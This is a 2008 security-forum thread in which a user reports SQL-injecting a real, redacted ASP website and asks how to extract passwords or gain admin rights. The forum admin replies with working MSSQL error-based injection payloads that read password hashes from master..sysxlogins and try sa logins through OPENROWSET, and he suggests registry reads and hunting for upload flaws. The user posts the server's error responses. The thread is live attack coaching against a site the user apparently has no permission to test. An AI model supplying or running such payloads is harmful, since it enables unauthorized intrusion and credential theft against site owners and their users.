|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Need help with SQL injection ! |
|
Posted: Sat Dec 06, 2008 10:17 pm |
|
|
xterminal01 |
Regular user |
|
|
Joined: Dec 07, 2008 |
Posts: 5 |
|
|
|
|
|
|
|
I've been doing SQL injection on a website but am stuck with what to do..
by doing this...
www.XXX.com/Top-Story.asp?ID=convert(int, @@version)
I get
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.818 (Intel X86) May 31 2003 16:08:15 Copyright (c) 1988-2003 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.
/Top-Story.asp, line 20
So i know that the site is vulnerable.
What can i do to extract the passwords or become the admin group or anything else for that matter? |
|
|
|
|
Posted: Sat Dec 06, 2008 10:25 pm |
|
|
capt |
Advanced user |
|
|
Joined: Nov 04, 2008 |
Posts: 232 |
|
|
|
|
|
|
|
you need to read up some more on sql injections.
Go on google look for a tutorial called "Sql injection attack end3r" |
|
|
|
|
Posted: Sat Dec 06, 2008 10:39 pm |
|
|
xterminal01 |
Regular user |
|
|
Joined: Dec 07, 2008 |
Posts: 5 |
|
|
|
|
|
|
|
I read the darkmindz sql injection article, but it gives me errors & I am stuck?
capt wrote: | you need to read up some more on sql injections.
Go on google look for a tutorial called "Sql injection attack end3r" |
|
|
|
|
|
Posted: Sun Dec 07, 2008 12:20 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
In order to jump to operating system and for other cool stuff you need sa privileges in database. Try this:
Code: |
Top-Story.asp?ID=convert(int,(SELECT password FROM master..sysxlogins))
|
Depending on error message it will be known either you have enough privileges or not. |
|
|
|
|
|
|
|
|
Posted: Sun Dec 07, 2008 5:11 am |
|
|
xterminal01 |
Regular user |
|
|
Joined: Dec 07, 2008 |
Posts: 5 |
|
|
|
|
|
|
|
One is
Microsoft OLE DB Provider for ODBC Drivers error '80040e09'
[Microsoft][ODBC SQL Server Driver][SQL Server]SELECT permission denied on object 'sysxlogins', database 'master', owner 'dbo'.
The other is
Microsoft JET Database Engine error '80004005'
Could not find file 'c:\windows\system32\inetsrv\master'.
I was able to get the master columns sysusers & master_key_passwords
However, i couldn't download the data...
I suppose that means i don't have the rights to download but just browse.
Are my only options to bruteforce the dbo or sa account?
waraxe wrote: | In order to jump to operating system and for other cool stuff you need sa privileges in database. Try this:
Code: |
Top-Story.asp?ID=convert(int,(SELECT password FROM master..sysxlogins))
|
Depending on error message it will be known either you have enough privileges or not. |
|
|
|
|
|
|
|
|
|
Posted: Sun Dec 07, 2008 2:25 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Fetch all rows in syslogins view and look for any users with useful privileges, especially sysadmins. There can be more of them besides sa! Next try OPENROWSET:
Code: |
Top-Story.asp?ID=convert(int,(select * from OPENROWSET('MSDASQL','DRIVER={SQL Server};SERVER=;uid=sa;pwd=password','select @@version')))
Top-Story.asp?ID=convert(int,(select * from OPENROWSET('SQLOLEDB','','sa','password','select @@version')))
|
This will indicate the possibilities for re-login with other username.
And ... there are things you can do with lower privileges too - reading registry (xp_regread), list directories and harddrives with some other stored procedures. |
|
|
|
|
|
|
|
|
Posted: Sun Dec 07, 2008 11:24 pm |
|
|
xterminal01 |
Regular user |
|
|
Joined: Dec 07, 2008 |
Posts: 5 |
|
|
|
|
|
|
|
1st
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Ad hoc access to OLE DB provider 'MSDASQL' has been denied. You must access this provider through a linked server.
2nd
Microsoft OLE DB Provider for SQL Server error '80040e14'
SQL Server blocked access to STATEMENT 'OpenRowset/OpenDatasource' of component 'Ad Hoc Distributed Queries' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'Ad Hoc Distributed Queries' by using sp_configure. For more information about enabling 'Ad Hoc Distributed Queries', see "Surface Area Configuration" in SQL Server Books Online.
With tools like priamos i am able to browse through their whole database, get tables and columns just the data is rejected.
waraxe wrote: | Fetch all rows in syslogins view and look for any users with useful privileges, especially sysadmins. There can be more of them besides sa! Next try OPENROWSET:
Code: |
Top-Story.asp?ID=convert(int,(select * from OPENROWSET('MSDASQL','DRIVER={SQL Server};SERVER=;uid=sa;pwd=password','select @@version')))
Top-Story.asp?ID=convert(int,(select * from OPENROWSET('SQLOLEDB','','sa','password','select @@version')))
|
This will indicate the possibilities for re-login with other username.
And ... there are things you can do with lower privileges too - reading registry (xp_regread), list directories and harddrives with some other stored procedures. | |
|
|
|
|
|
|
|
|
Posted: Sun Dec 07, 2008 11:42 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Then i don't see easy way to interact with operating system. Unless you find administration backend or other attack vecors, like vulnerable upload scripts, etc. |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|